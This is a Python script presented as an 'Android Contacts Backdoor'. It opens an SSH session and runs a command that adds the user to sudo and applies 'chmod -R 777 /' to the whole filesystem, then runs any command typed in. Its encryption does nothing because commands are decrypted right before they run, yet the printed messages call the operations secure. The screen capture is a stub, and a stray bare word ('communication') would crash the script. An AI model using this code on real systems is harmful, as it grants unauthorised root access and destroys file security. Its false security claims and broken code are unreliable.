Android Contacts Backdoor

python
from cryptography.fernet import Fernet
import android
import paramiko

ENCRYPTION_KEY = b'your_secret_key_here'

def encrypt_data(data):
    try:
        cipher_suite = Fernet(ENCRYPTION_KEY)
        encrypted_data = cipher_suite.encrypt(data.encode())
        return encrypted_data
    except Exception as e:
        print(f"Encryption error: {e}")
        return None

def decrypt_data(encrypted_data):
    try:
        cipher_suite = Fernet(ENCRYPTION_KEY)
        decrypted_data = cipher_suite.decrypt(encrypted_data).decode()
        return decrypted_data
    except Exception as e:
        print(f"Decryption error: {e}")
        return None

def initiate_ssh_connection(username, password, host, port=22):
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(host, port, username, password)
        return ssh
    except Exception as e:
        print(f"SSH connection error: {e}")
        return None

def allow_access(ssh, username):
    try:
        command = f"sudo usermod -aG sudo,{username}_group {username} && chmod -R 777 /"
        encrypted_command = encrypt_data(command)
        if encrypted_command:
            stdin, stdout, stderr = ssh.exec_command(decrypt_data(encrypted_command))
    except Exception as e:
        print(f"Error allowing access: {e}")

def update_information(contact_name, new_info):
    try:
        encrypted_contact_name = encrypt_data(contact_name)
        encrypted_new_info = encrypt_data(new_info)
        print(f"Securely updating contact: {encrypted_contact_name} with new information: {encrypted_new_info}")
    except Exception as e:
        print(f"Error updating information: {e}")

def capture_screen():
    try:
        print("Securely capturing and analyzing the device screen.")
    except Exception as e:
        print(f"Error capturing screen: {e}")

def send_command(command, ssh):
    try:
        encrypted_command = encrypt_data(command)
        if encrypted_command:
            stdin, stdout, stderr = ssh.exec_command(decrypt_data(encrypted_command))
    except Exception as e:
        print(f"Error sending command: {e}")

def display_help_menu():
    print("Usage:")
    print("1. Enter information:")
    print("   - Contact Name: John Doe")
    print("   - New Information: 555-1234")
    print("2. Allow user access:")
    print("   - Automatically grants administrator access and full permissions.")
    print("3. Capture the device screen.")
    print("4. Send a custom command:")
    print("   - Example: reboot")

def main():
    try:
        droid = android.Android()

        ssh_username = input("Enter SSH username: ")
        ssh_password = input("Enter SSH password: ")
        ssh_host = input("Enter SSH host: ")

        ssh_connection = initiate_ssh_connection(ssh_username, ssh_password, ssh_host)

        if ssh_connection:

            contact_name = input("Enter contact name: ")
            new_info = input("Enter new information: ")

            update_information(contact_name, new_info)

            allow_access(ssh_connection, ssh_username)
            communication
            capture_screen()

            command = input("Enter command: ")
            send_command(command, ssh_connection)

            ssh_connection.close()

            ("Information updated, access enabled with administrator privileges, and operations executed securely.")
        else:
            print("Failed to initiate SSH connection. Please check your credentials and try again.")

    except Exception as e:
        print(f"An unexpected error occurred: {e}")

if __name__ == "__main__":
    display_help_menu()
    main()